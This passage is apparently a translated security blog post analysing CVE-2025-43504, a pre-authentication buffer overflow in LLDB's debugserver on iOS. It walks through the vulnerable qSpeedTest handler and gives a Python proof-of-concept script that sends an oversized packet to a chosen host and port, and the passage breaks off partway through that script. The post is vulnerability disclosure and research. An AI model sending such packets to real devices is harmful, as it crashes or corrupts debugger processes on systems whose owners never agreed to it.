
Aprofundamento técnico sobre CVE-2025-43504, um estouro de buffer global remoto (sem autenticação prévia) no debugserver do LLDB para iOS, com código PoC e análise de exploração.
Quando eu crescia, sempre gostava de vasculhar as lixeiras de DVD no meu Walmart local. Notei que muitos dos mesmos filmes eram deixados em cima, mas se você realmente cavasse, encontraria títulos mais interessantes e de nicho.
Quando um programa estoura um buffer, você está essencialmente alcançando sua lixeira de pechinchas. Dependendo de quão longe você alcança, os DVDs - ou neste caso, as estruturas sobrescritas na memória - podem mudar.
A /bin de pechincha de hoje é CVE-2025-43504: Um estouro de buffer global de pré-autenticação remota que encontrei no debugserver do LLDB.
Durante o desenvolvimento de aplicativos, os desenvolvedores frequentemente precisam depurar seu aplicativo em um dispositivo iOS físico. Para conseguir isso, o Xcode monta uma Imagem de Disco de Desenvolvedor no iPhone alvo e então emparelha com ele.
Uma vez emparelhado, o host macOS pode se comunicar com o cliente iOS usando o debugserver instalado no cliente. Agora, qualquer cliente que possa estabelecer uma sessão GDB remota com o debugserver do dispositivo pode alcançar o manipulador qSpeedTest e estourar o buffer vulnerável.
Vamos dar uma olhada na página de lançamento de segurança do Xcode 26.1 para entender melhor como a Apple categorizou o CVE-2025-43504:

Devido às mitigações de software modernas, a Apple considera os estouros de buffer principalmente como um problema de negação de serviço, em vez de uma primitiva de corrupção. Como exploraremos hoje, isso geralmente é verdade, pois um invasor precisará superar vários obstáculos e provavelmente combinar esse problema com outro bug para conseguir execução arbitrária de código.
Se você quiser experimentar uma versão sem correção do debugserver, use o seguinte commit ou qualquer commit anterior a ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
Antes da correção em RNBRemote.cpp, qualquer usuário remoto que pudesse se conectar ao debugserver de um dispositivo iOS poderia enviar um pacote qSpeedTest de pré-autenticação para RNBRemote::HandlePacket_qSpeedTest e corromper estruturas adjacentes no segmento de dados globais do debugserver.
No entanto, há uma ressalva importante: controlamos apenas o tamanho da corrupção. O conteúdo do payload é fixo em um fluxo de caracteres 'a'. Embora os alunos possam gostar das notas consistentemente altas, a utilidade prática desse estouro é bastante limitada pelo fato de não podermos controlar os bytes reais que estão sendo escritos - apenas o quão longe a enxurrada de 'a's vai.
Agora, vamos dar uma olhada nos bastidores de RNBRemote::HandlePacket_qSpeedTest para ver exatamente o que está acontecendo:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
A função de RNBRemote::HandlePacket_qSpeedTest() é processar pacotes qSpeedTest:response_size:<hex>; recebidos sem exigir autenticação de um usuário remoto que possa se comunicar com o binário debugserver do dispositivo iOS.
No entanto, uma vez que um usuário remoto é capaz de enviar um pacote qSpeedTest:response_size:<hex>; para debugserver, nenhuma verificação de autenticação ocorre dentro do debugserver antes de processar o response_size fornecido pelo usuário. Portanto, qualquer usuário que possa se comunicar com um dispositivo iOS montado com uma Imagem de Disco de Desenvolvedor é capaz de estourar o debugserver através de um pacote qSpeedTest:response_size:<hex>;.
Agora que chegamos à função vulnerável RNBRemote::HandlePacket_qSpeedTest(), vamos examinar exatamente como o estouro ocorre. Primeiro, o tamanho <hex> fornecido pelo usuário no pacote qSpeedTest:response_size:<hex>; é extraído e armazenado na variável response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Se o parsing for bem-sucedido e o próximo caractere for um ponto e vírgula, um buffer estático local à função de 4 MiB + 16 bytes g_data é inicializado e preenchido com o cabeçalho ASCII "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
Juntando tudo, memset então preenche o buffer estático de 4 MiB + 16 bytes g_data com 'a' usando o valor response_size controlado pelo usuário como o número de 'a's a serem usados.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Portanto, sempre que um cliente LLDB remoto envia um pacote qSpeedTest:response_size:<hex>; com um response_size maior que o buffer de 4 MiB + 16 bytes, ocorre um estouro de buffer e corrompe variáveis globais adjacentes armazenadas no segmento de dados globais (.bss) do debugserver.
Agora que entendemos a arquitetura por trás do estouro, vamos mergulhar na mecânica real da vulnerabilidade. Para começar, vamos usar o seguinte programa Python para explorar as primitivas de corrupção obtidas através do estouro de g_data:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()